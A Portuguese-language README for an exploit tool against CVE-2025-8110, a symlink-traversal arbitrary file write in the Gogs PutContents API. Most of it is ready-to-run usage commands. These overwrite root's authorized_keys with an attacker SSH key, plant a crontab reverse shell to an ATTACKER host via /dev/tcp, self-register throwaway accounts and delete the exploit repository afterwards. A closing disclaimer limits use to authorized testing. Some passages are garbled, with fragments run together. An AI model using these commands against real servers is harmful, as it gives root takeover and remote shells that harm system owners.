
CVE-2025-8110 — Gogs <= 0.13.3 Escrita Arbitrária de Arquivo via Traversal de Symlink na API PutContents
Gogs <= 0.13.3 é vulnerável a escrita arbitrária de arquivo através da API PutContents (/api/v1/repos/:owner/:repo/contents/:path).
A API valida caminhos de arquivo contra sequências de traversal de diretório (../) mas não resolve links simbólicos antes de escrever. Um usuário autenticado pode enviar um commit contendo um symlink apontando para qualquer arquivo no servidor e depois chamar PutContents nesse symlink para sobrescrever o arquivo-alvo com conteúdo controlado pelo atacante.
Quando o Gogs executa como root (o padrão em Docker e muitas implantações), isso resulta em comprometimento total do sistema.
| Detalhe | Valor |
|---|---|
| CVE | CVE-2025-8110 |
| Afetado | Gogs <= 0.13.3 |
| Tipo | Escrita arbitrária de arquivo autenticada → RCE |
| CVSS | 8.8 (Alto) |
| Componente | API PutContents |
requests (pip install requests)git# Self-register a throwaway account + write SSH pubkey for root
python3 CVE-2025-8110.py --url http://target:3001 --register \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub
# With existing credentials
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub
# Reverse shell via crontab
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /etc/crontab \
--content '* * * * * root bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'
# Cleanup the exploit repo after use
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub --cleanup
/root/.ssh/authorized_keys), faça commit e envie.root).--url URL base do Gogs (ex.: http://target:3001)
-u, --user Nome de usuário do Gogs
-p, --password Senha do Gogs
--register Auto-registrar uma conta descartável (sem captcha)
--target-file Caminho absoluto para sobrescrever no servidor
--content Conteúdo em string a ser escrito
--content-file Arquivo local cujo conteúdo será escrito
--repo Nome do repositório a criar (padrão: aleatório)
--link-name Nome do arquivo symlink no repositório (padrão: payload)
--cleanup Excluir o repositório de exploração após a escrita
Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. Use com responsabilidade.